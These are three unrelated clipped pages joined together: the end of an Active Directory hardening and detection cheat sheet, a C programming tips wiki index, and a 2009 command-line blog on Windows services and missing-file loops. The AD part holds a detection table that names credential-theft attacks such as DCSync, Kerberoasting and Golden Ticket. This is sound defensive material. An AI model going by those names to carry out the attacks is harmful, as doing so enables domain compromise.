  * ‘Tiered’ Administration mitigating credential theft impact.
  * Ensure admins only logon to approved admin workstations & servers.
  * Leverage time-based, temporary group membership for all admin accounts

#### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='120'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1422' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Protect Service Account Credentials

  * Limit to systems of the same security level.
  * Leverage “\(Group\) Managed Service Accounts” \(or PW >20 characters\) to mitigate credential theft \(kerberoast\).
  * Implement FGPP \(DFL =>2008\) to increase PW requirements for SAs and administrators.
  * Logon restrictions – prevent interactive logon & limit logon capability to specific computers.
  * Disable inactive SAs & remove from privileged groups.

#### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='121'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1430' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Protect Resources

  * Segment network to protect admin & critical systems.
  * Deploy IDS to monitor the internal corporate network.
  * Network device & OOB management on separate network.

#### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='122'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1436' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Protect Domain Controllers

  * Only run software & services to support AD.
  * Minimal groups \(& users\) with DC admin/logon rights.
  * Ensure patches are applied before running DCPromo \(especially MS14-068 and other critical patches\).
  * Validate scheduled tasks & scripts.

#### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='123'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1443' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Protect Workstations \(& Servers\)

  * Patch quickly, especially privilege escalation vulnerabilities.
  * Deploy security back-port patch \(KB2871997\).
  * Set Wdigest reg key to 0 \(KB2871997/Windows 8.1/2012R2+\): HKEY\_LOCAL\_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWdigest
  * Deploy workstation whitelisting \(Microsoft AppLocker\) to block code exec in user folders – home dir & profile path.
  * Deploy workstation app sandboxing technology \(EMET\) to mitigate application memory exploits \(0-days\).

#### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='124'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1451' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Logging

  * Enable enhanced auditing
  * “Audit: Force audit policy subcategory settings \(Windows Vista or later\) to override audit policy category settings”
  * Enable PowerShell module logging \(“\*”\) & forward logs to central log server \(WEF or other method\).
  * Enable CMD Process logging & enhancement \(KB3004375\) and forward logs to central log server.
  * SIEM or equivalent to centralize as much log data as possible.
  * User Behavioural Analysis system for enhanced knowledge of user activity \(such as Microsoft ATA\).

#### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='125'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1460' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Security Pro’s Checks

  * Identify who has AD admin rights \(domain/forest\).
  * Identify who can logon to Domain Controllers \(& admin rights to virtual environment hosting virtual DCs\).
  * Scan Active Directory Domains, OUs, AdminSDHolder, & GPOs for inappropriate custom permissions.
  * Ensure AD admins \(aka Domain Admins\) protect their credentials by not logging into untrusted systems \(workstations\).
  * Limit service account rights that are currently DA \(or equivalent\).

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='126'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1468' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Detection

Attack | Event ID  
---|---  
Account and Group Enumeration | 4798: A user's local group membership was enumerated  
4799: A security-enabled local group membership was enumerated  
AdminSDHolder | 4780: The ACL was set on accounts which are members of administrators groups  
Kekeo | 4624: Account Logon  
4672: Admin Logon  
4768: Kerberos TGS Request  
Silver Ticket | 4624: Account Logon  
4634: Account Logoff  
4672: Admin Logon  
Golden Ticket | 4624: Account Logon  
4672: Admin Logon  
PowerShell | 4103: Script Block Logging  
400: Engine Lifecycle  
403: Engine Lifecycle  
4103: Module Logging  
600: Provider Lifecycle  
  
DCShadow | 4742: A computer account was changed  
5137: A directory service object was created  
5141: A directory service object was deleted  
4929: An Active Directory replica source naming context was removed  
Skeleton Keys | 4673: A privileged service was called  
4611: A trusted logon process has been registered with the Local Security
Authority  
4688: A new process has been created  
4689: A new process has exited  
PYKEK MS14-068 | 4672: Admin Logon  
4624: Account Logon  
4768: Kerberos TGS Request  
Kerberoasting | 4769: A Kerberos ticket was requested  
S4U2Proxy | 4769: A Kerberos ticket was requested  
Lateral Movement | 4688: A new process has been created  
4689: A process has exited  
4624: An account was successfully logged on  
4625: An account failed to log on  
DNSAdmin | 770: DNS Server plugin DLL has been loaded  
541: The setting serverlevelplugindll on scope . has been set to `<dll path>`  
150: DNS Server could not load or initialize the plug-in DLL  
DCSync | 4662: An operation was performed on an object  
Password Spraying | 4625: An account failed to log on  
4771: Kerberos pre-authentication failed  
4648: A logon was attempted using explicit credentials  
### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='127'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1547' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Resources

  * ASD Strategies to Mitigate Cyber Security Incidents
  * Reducing the Active Directory Attack Surface
  * Changes to Ticket-Granting Ticket \(TGT\) Delegation Across Trusts in Windows Server \(AskPFEPlat edition\)
  * Active Directory: Ultimate Reading Collection
  * Securing Domain Controllers to Improve Active Directory Security
  * Securing Windows Workstations: Developing a Secure Baseline
  * Implementing Secure Administrative Hosts
  * Privileged Access Management for Active Directory Domain Services
  * Awesome Windows Domain Hardening
  * Best Practices for Securing Active Directory
  * Introducing the Adversary Resilience Methodology — Part One
  * Introducing the Adversary Resilience Methodology — Part Two
  * Mitigating Pass-the-Hash and Other Credential Theft, version 2
  * Configuration guidance for implementing the Windows 10 and Windows Server 2016 DoD Secure Host Baseline settings
  * Monitoring Active Directory for Signs of Compromise
  * Detecting Lateral Movement through Tracking Event Logs
  * Kerberos Golden Ticket Protection Mitigating Pass-the-Ticket on Active Directory
  * Overview of Microsoft's "Best Practices for Securing Active Directory"
  * The Keys to the Kingdom: Limiting Active Directory Administrators
  * Protect Privileged AD Accounts With Five Free Controls
  * The Most Common Active Directory Security Issues and What You Can Do to Fix Them
  * Event Forwarding Guidance
  * Planting the Red Forest: Improving AD on the Road to ESAE
  * Detecting Kerberoasting Activity
  * Security Considerations for Trusts
  * Advanced Threat Analytics suspicious activity guide
  * Protection from Kerberos Golden Ticket
  * Windows 10 Credential Theft Mitigation Guide
  * Detecting Pass-The- Ticket and Pass-The- Hash Attack Using Simple WMI Commands
  * Step by Step Deploy Microsoft Local Administrator Password Solution
  * Active Directory Security Best Practices
  * Finally Deploy and Audit LAPS with Project VAST, Part 1 of 2
  * Windows Security Log Events
  * Talk Transcript BSidesCharm Detecting the Elusive: Active Directory Threat Hunting
  * Preventing Mimikatz Attacks
  * Understanding "Red Forest" - The 3-Tier ESAE and Alternative Ways to Protect Privileged Credentials
  * AD Reading: Active Directory Backup and Disaster Recovery
  * Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques
  * Hunting For In-Memory .NET Attacks
  * Mimikatz Overview, Defenses and Detection
  * Trimarc Research: Detecting Password Spraying with Security Event Auditing
  * Hunting for Gargoyle Memory Scanning Evasion
  * Planning and getting started on the Windows Defender Application Control deployment process
  * Preventing Lateral Movement Using Network Access Groups
  * How to Go from Responding to Hunting with Sysinternals Sysmon
  * Windows Event Forwarding Guidance
  * Threat Mitigation Strategies: Part 2 – Technical Recommendations and Information

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='128'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1597' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />License

<img
src='img/687474703a2f2f6d6972726f72732e6372656174697665636f6d6d6f6e732e6f72672f70726573736b69742f627574746f6e732f38387833312f7376672f63632d7a65726f2e737667'
width='88' height='31' />

To the extent possible under law, Rahmat Nurfauzi "@infosecn1nja" has waived
all copyright and related or neighboring rights to this work.

# The C Programming Tips and Tricks Wiki / FrontPage

**Created:**| _3/23/2012 12:06:35 PM_  
---|---  
**Updated:**| _3/23/2012 12:06:35 PM_  
**Author:**| __  
**Tags:**| _C programming_  
  

# FrontPage

Page history  last edited by Kenneth Finnegan 2 years, 9 months ago

# Programming Tips in C

This website is designed to be a central place to link to a huge variety of
tips and tricks in the C programming language to make your life a little
easier as you write programs in such a minimalistic language.

Understand that this website is targeted at GCC in Linux, so most of the tips
will work elsewhere, but some may not.

* * *
### General

Timer \- Timing and displaying how long a piece of code took to run

Comment out blocks of code \- Make it clear why you're not using it anymore

Macro Tips \- General things to watch out for while using Macros

Factorial \- Why NOT to calculate factorials

Powx \- Quick exponentiation function

Saturated Addition \- When addition overflows, keep it at 0xFFFFFFFF.

FNV Hash \- A simple routine to hash large amounts of data

Seeding rand\(\) \- How to seed the random number generator so it gives
different results each time

### String Handling

Check if two strings are equal

Stringize Preprocessor Arguments \- How to insert an argument to a macro in a
string

Text Editing \- Never write a text editor, use one from the environment

Display Time \- How to display a length of time so it's easier to read than a
huge number of seconds

Temporary Return Buffer \- A leak proof way to return char \* without
malloc/free

### Data Structures

Intro to bitwise operations \- Basic intro to the different ways to use
bitwise operations

Count Bits \- How to quickly count the number of bits set in an unsigned int

Binary Constants \- Macros to let you use binary contants straight in your
code

Digit Mask \- Simple macro to pull out one digit of a number

Bit Manipulation \- How to set, flip, or test individual bits

Coordinate compression \- Use macros to turn multidimensional array
coordinates into one int

### Debugging

Debug Messages \- Using the preprocessor to compile in debugging messages only
if you want them

Assert \- A good way to make a sanity check and have the program throw up if
something is seriously wrong

\#error \- Create your own compile errors

GDB \- Quick and dirty intro to using the GNU DeBugger

* * *
Miscelaneous Tips \- Tips that don't warrent an entire page and links to other
good sites

* * *
## Utilities

Prime Generator \- Piece of code that generates the next prime number when you
call it and returns it as a uint64\_t.

Fibonacci Generator \- Simple function that will always return the next number
in the Fibonacci sequence.

* * *
## Practice Problems

  * http://projecteuler.net/ \- Very math and algorithm heavy, all solutions should run in under 1 minute. 
    * Solutions \- Solutions in C
  * http://codekata.pragprog.com/ \- 21 good challenges focused more on real life applications
  * http://www.spoj.pl/ \- Tons of programming problems, supports several different languages.

* * *
Since this is a wiki, that means you can help add to this website too. If you
would like to help contribute to this collection of tricks, simply email
Kenneth Finnegan and ask to be invited as a writer. Even if you don't want to
be a writer, but just have another trick or link to share, feel free to email
Kenneth.

# Command Line Kung Fu: August 2009

**Created:**| _11/24/2009 7:26:04 PM_  
---|---  
**Updated:**| _11/24/2009 7:26:15 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

skip to main | skip to sidebar
# Command Line Kung Fu

This blog will include fun, useful, interesting, security related, non-
security related, tips, and tricks associated with the command line. It will
include OS X, Linux, and even Windows\!

## Tuesday, August 25, 2009

### Episode \#57: At Your Services

Ed embarks:  
  
Sometimes, administrators and users need to alter the state of running
services on a Windows box, especially those services that automatically start
during system boot. Many users are familiar with the services control panel
GUI, with its familiar "Startup Type" column and values of Manual, Disabled,
and Automatic. The Automatic services, in particular, are those that startup
when the system is booted, even if no one logs onto the machine.  
  
As described in Episode \#40, Ed's Heresy, you can launch the services control
GUI at the command line using:  
  

[code]

    C:\> services.msc
    
[/code]

  
Look through all those services and their startup types, and you'll see an
awful lot of automatic ones. Unlike Linux, Windows doesn't have the concept of
different run-levels which start different sets of services. Instead, all
automatic services are... well... automatically started at bootup. Vista and
later did introduce a new option for automatic services startup type, called
"Automatic \(Delayed start\)", which causes Windows to activate a service
after all of the initial boot activities are completed, making bootup faster.
So, I guess we do have a bit of fine-grained differentiation in bootup
services: those that are done during the boot itself \[Startup Type=
Automatic\] and those that happen right afterward \[Startup Type= Automatic
\(Delayed Start\)\]. Of course, "Manual" services are initiated by user
action, such as clicking the "Start" button in the services.msc GUI.  
  
But, speaking honestly and bluntly, why use the crappy services.msc GUI when
we can interact with our services at the command line? One of the real gems of
the Windows command line is the Service Control command, known as "sc" for
short. In the olden days, we could use the "net start" command to get a list
of running services. But, good old "net start" pales in comparison to the
mighty sc. I only use "net start" when I'm on a Windows 2000 box that lacks
the sc command from the Resource Kit. I'm happy to report that sc is included
in XP Pro and later.  
  
We can use sc to get a list of all services on the box, regardless of their
state, by running:  
  

[code]

    C:\> sc query state= all
    
[/code]

  
Please note that sc is finicky about spaces in its command options. You have
to enter it this way: "state equals space all". If you omit the space, it
doesn't work. If you put a space before the equals, it doesn't work. Annoying,
to be sure, but once you get the hang of it, it's almost tolerable. In fact,
that could be the new marketing line for Windows: "Once you get the hang of
it, it's almost tolerable." Microsoft marketing reps can feel free to contact
me if they'd like to license that line.  
  
Anyway, we can get more detail about each service's state using:  
  

[code]

    C:\> sc queryex state= all
    
[/code]

  
The queryex there gives us additional information, including the PID each
service is running inside of. If you'd like to focus on a single service,
looking at all of its details, you could run:  
  

[code]

    C:\> sc qc [SERVICE_NAME]
    
[/code]

  
The qc stands for "query configuration", and shows all kinds of neat stuff,
including the binary path and command line flags used to launch the
executable.  
  
That \[SERVICE\_NAME\] option used in the sc command must be the
"SERVICE\_NAME" and not the "DISPLAY\_NAME", both of which are shown in the
"sc query" output. The former is the internal name of the command used within
Windows, while the latter is a more human-friendly form of the name used in
the GUI. Most Windows admins think in terms of DISPLAY\_NAME, but the sc
command thinks otherwise. To map the DISPLAY\_NAME in your head to
SERVICE\_NAME, you could use WMIC to map one to the other:  
  

[code]

    C:\> wmic service where displayname="[DISPLAY_NAME]" get name
    
[/code]

  
You can even use substring wildcards on DISPLAY\_NAME here with:  
  

[code]

    C:\> wmic service where (displayname like "%something%") get name
    
[/code]

  
OK, now, fully armed with the sc-friendly SERVICE\_NAME, we can proceed. If
you want to stop or start a service immediately, you can use this simple
command:  
  

[code]

    C:\> sc [start|stop] [SERVICE_NAME]
    
[/code]

  
Please note, however, if you stop a service whose type is "Automatic" or
"Automatic \(Delayed Start\)", that service will come back the next time you
reboot. To change that behavior, you'll have to alter the startup type of the
service, making it either manual or disabled. To do so, you could use the sc
command as follows:  
  

[code]

    C:\> sc config [SERVICE_NAME] start= demand
    
[/code]

  
Note that the GUI refers to such services as "manual", but the sc command
calls them "demand". Consistency, thy name is Windows.... NOT\! \(Hey\!
There's another potential marketing campaign\!\) Note that if the service is
currently running, this change in its configuration won't stop it... we are
merely changing its configuration, not its current state.  
  
To configure a service to be disabled at next boot, you could run:  
  

[code]

    C:\> sc config [SERVICE_NAME] start= disabled
    
[/code]

  
For Automatic, use "start= auto" and for Automatic \(Delayed Start\), use
"start= delayed-auto".  
  
Note that there are two other service start types: boot and system. These are
for device drivers, and I wouldn't mess with them unless you first create a
snapshot of your virtual machine. What? You are running Windows on \_real\_
hardware and not a VM? Yikes. Be very, very careful with your config\!  
  
Another nifty feature of the sc command is its ability to show us service
dependencies, as follows:  
  

[code]

    C:\> sc enumdepend [SERVICE_NAME] [buffer_size]
    
[/code]

  
Try this for the RPC Service as follows:  
  

[code]

    C:\> sc enumdepend rpcss
    
[/code]

  
It'll show you the start of the list of services that depend on rpcss, but
then complain that its default buffer for gathering this information is too
small. You can specify a bigger buffer by putting an integer at the end for
the output display buffer, such as 8092. How convenient it is that it allows
you to specify your display buffer size. Yeah, right.  
  
Another fine aspect of the sc command is that it can be used remotely,
provided that you have admin-level SMB access of a remote system. Any of the
sc commands listed above can be directed to a remote system by simply adding
\\\\\[IP\_addr\] right after the sc, as in:  
  

[code]

    C:\> sc \\[IP_addr] [other_options]
    
[/code]

  
Oh, and one more thing... All those automatic services associated with the
underlying operating system do start in a specific order that Microsoft has
carefully planned. That order is stored in the registry as a list, and can be
displayed using:  
  

[code]

    C:\> reg query hklm\system\currentcontrolset\control\servicegrouporder
    
[/code]

  
The list looks hideous in the output of the reg command. If you'd like it to
look a little prettier, you can open that registry key in regedit.  
  
Hal wants to know where Ed gets off:  
  
Oh rats. Welcome to another episode of "this would be simple if every flavor
of Unix didn't do this a little bit differently". The first simplifying
assumption I'm going to make is to throw the \*BSD folks off the bus. Sorry
guys, if you're reading this then you already know how boot services work on
your OS and you don't need me to tell you.  
  
For everybody else in the world, the boot service controls on your system have
typically evolved from some knockoff version of the System V boot sequencing
scheme. This means there's probably a directory on your system called
/etc/init.d \(or perhaps /etc/rc\*/init.d\) that contains a whole pile of
scripts. Generally, each one of these scripts is responsible for starting and
stopping a particular service.  
  
One of the nice features of this system is that you can run the boot scripts
manually to start and stop services. The scripts accept "start", "stop", and
often the "restart" option as well:  
  

[code]

    # **/etc/init.d/ssh stop**  
     * Stopping OpenBSD Secure Shell server sshd                             [ OK ]   
    # **/etc/init.d/ssh start**  
     * Starting OpenBSD Secure Shell server sshd                             [ OK ]   
    # **/etc/init.d/ssh restart**  
     * Restarting OpenBSD Secure Shell server sshd                           [ OK ] 
    
[/code]

  
In general, using the /etc/init.d scripts is the preferred method for starting
and stopping services-- as opposed to just killing them-- because the script
may perform additional service-specific cleanup actions.  
  
Now when the system is booting we need to be careful that services get started
in the correct dependency order. For example, there's no point in starting
network services like SSH and Apache until the network interfaces have been
initialized. Boot sequencing is the job of the /etc/rc\*.d \(sometimes
/etc/rc\*/rc\*.d\) directories.  
  
If you look into these directories, you'll find a bunch of files named Snn\*
and Knn\*-- for example "S16ssh". These "files" are actually links back to the
scripts in /etc/init.d. The numbers are used to make sure the scripts are run
by the init process in the correct sequence, and there are usually gaps left
in the numbering so that you can add your own scripts at appropriate points in
the sequence. The leading "S" tells init to run the script with the "start"
option to start the given sequence at boot time. "K" means kill or "stop".  
  
So why are there lots of different rc\*.d directories? The basic idea was that
Unix systems were supposed to be able to boot to different "run levels",
numbered 1-5, that enabled different levels of functionality. I'm old enough
to remember a time when booting to run level 2 meant "multi-user mode" and run
level 3 meant "multi-user mode plus network file sharing" \(yes, I know, get
me a walker and you kids stay off my lawn\!\). These days, the whole "run
level" concept has gotten wildly confused. Many Linux systems use run level 3
for multi-user and run level 5 for "multi-user with GUI", but Ubuntu boots
into run level 2 by default. Solaris boots using both the run level 2 and run
level 3 scripts, which is just wacky.  
  
The reason the whole run level question is relevant is that in order to enable
or disable certain services from being started at boot time, you need to
change the links in the appropriate rc\*.d directory. To do that, you need to
know what run level your system is booting into by default. Some systems have
a "runlevel" command which will tell you what run level you're currently
booted into. On other systems you'll need to find the default run level
setting in /etc/inittab-- "grep default /etc/inittab" usually works. The
alternative is to just change the links in _all_ of the rc\*.d directories,
just to be on the safe side.  
  
Say you're on a Ubuntu system and you're booting into run level 2. You "cd
/etc/rc2.d" and start messing with the links. You can see the services that
are started at this run level with a simple "ls S\*". If you want to make
changes, just remember that the init program ignores any script that doesn't
start with an "S" or a "K". So one way to prevent a service from being started
at boot time is to just rename the link. There are lots of different
conventions people use for this: some people change the "S" links to "K"
links, others give them names like "aaa\*" \(sorts at the beginning of the
directory\), "zzz\*" \(sorts to the end\), or ".NO\* \(hides links from normal
"ls"\). You can also just remove the links.  
  
The only problem with messing with the link names directly is that you'll
often find that vendor patches and software updates will often restore the
original links in your rc\*.d directories. So after updating your system it's
a good idea to check your rc\*.d directories to make sure your changes haven't
been reverted.  
  
To deal with this problem, most Unix variants have some sort of tool that
manages boot time configuration of services. The tool typically manages some
extra "meta-data" associated with each boot script that says which scripts
should be started at the different run-levels. For example, Red Hat derived
systems \(RHEL, Fedora, CentOS, etc\) use a command-line tool called chkconfig
\(originally developed for IRIX\) that uses meta-data stored in special
comments at the top of each boot script. Debian has update-rc.d and sysv-rc-
conf which just rename "S" links to "K" links on your behalf \(and vice
versa\). Solaris has the XML horror that is the Service Management Framework
\(SMF\). You'll need to read the docs for your particular flavor of Unix.

Posted by Ed Skoudis at 5:00 AM <img src='img/Temp2_1517.gif' width='18'
height='18' />

## Tuesday, August 18, 2009

### Episode \#56: Find the Missing JPEG

Hal is helpful:  
  
As a way of giving back to the community, I occasionally drop in and answer
questions on the Ubuntu forums. One of the users on the forum posed the
following question:  
  
_I have about 1300 pictures that I am trying to organize.  
They are numbered sequentially eg. \( 0001.jpg -> 1300.jpg \)  
The problem is that I seem to be missing some...  
  
Is there a fast way to be able to scan the directory to see which ones I am
missing? Other than to do it manually, which would take a long time._  
  
A fast way to scan the directory? How about some command-line kung fu:  
  

[code]

    for i in $(seq -w 1 1300); do [ ! -f $i.jpg ] && echo $i.jpg; done
    
[/code]

  
The main idiom that I think is important here is the use of the test operator
\("\[ ... \]"\) and the short-circuit "and" operation \("&&"\) as a quick-and-
dirty "if" statement in the middle of the loop. Ed and I have both used this
trick in various Episodes, but I don't think we've called it out explicitly.
For simple conditional expressions, it sure saves a lot of typing over using a
full-blown "if ... then ..." kind of construct.  
  
I'm also making use of the seq command to produce a sequence of numbers. In
particular, I'm using the "-w" option so that the smaller numbers are "padded
with zeroes" so that they match the required file names. However, while seq is
commonly found on Linux systems, you may not have it on other Unix platforms.
Happily, bash includes a printf routine, so I could also write my loop as:  
  

[code]

    for ((i=1; $i <= 1300; i++)); do file=$(printf "%04d.jpg" $i); \  
        [ ! -f $file ] && echo $file; done
    
[/code]

  
  
_Update from a Loyal Reader_ : Jeff Haemer came up with a nifty solution that
uses the brace expansion feature in bash 4.0 and later \(plus a clever
exploitation of standard error output\) to solve this problem with much less
typing. You can read about it in his blog posting.  
  
Now I have to confess one more thing. The other reason I picked this problem
to talk about is that I'm pretty sure it's going to be one of those "easy for
Unix, hard for Windows problems". Let's see if Ed can solve this problem
without using four nested for loops, shall we?  
  
Ed retorts:  
Apparently our little rules have changed. Now, it seems that we get to impose
constraints on our shell kung fu sparing partners, huh? Hal doesn't want four
nested FOR loops. As if I didn't have enough constraints working in cmd.exe,
Hal the sadist wants to impose more. Watch out, big guy. Perhaps next time,
I'll suggest you solve a challenge without using any letter in the qwerty row
of the keyboard. That should spice things up a bit. Of course, you'd probably
use perl and just encode everything. But I digress.  
  
One of the big frustrations of cmd.exe is its limitations on formulating
output in a completely flexible fashion. Counting is easy, thanks to the FOR
/L loop. But prepending zeros to shorter integers... that's not so easy. The
Linux printf command, with its % notation, is far more flexible than what
we've got in cmd.exe. The most obvious way to do this is that which Hal
prohibits, namely four FOR /L loops. But, our dominatrix Hal says no to four
nested FOR loops. What can we do?  
  
Well, I've got a most delightful little kludge to create leading zeros, and it
only requires one FOR /L loop counter plus a little substring action like I
discussed in Episode \#48: Parse-a-Palooza. Here is the result:  
  

[code]

    c:\> cmd.exe /v:on /c "for /l %i in (10001,1,11300) do @set name=%i & set   
         fullname=!name:~1,4!.jpg & dir !fullname! >nul 2>nul || echo !fullname! Missing"  
    0008.jpg  Missing  
    0907.jpg  Missing  
    1200.jpg  Missing
    
[/code]

  
Here, I'm launching a cmd.exe with /v:on to perform delayed variable
expansion. That'll let my variables inside my command change as the command
runs. Then, I have cmd.exe run the command \(/c\) of a FOR /L loop. That'll be
an incrementing counter. I use %i as the iterator variable, counting from
10001 to 11300 in steps of 1. "But," you might think, "You are ten thousand
too high in your counts." "Ah..." I respond, "That extra 10,000 gives me my
leading zeros, provided that I shave off the 1 in front." And, that's just
what I do. In the body of my FOR loop, I store my current iterator variable
value of %i in a variable called "name". Remember, you cannot perform
substring operations on iterator variables themselves, so we squirrel away
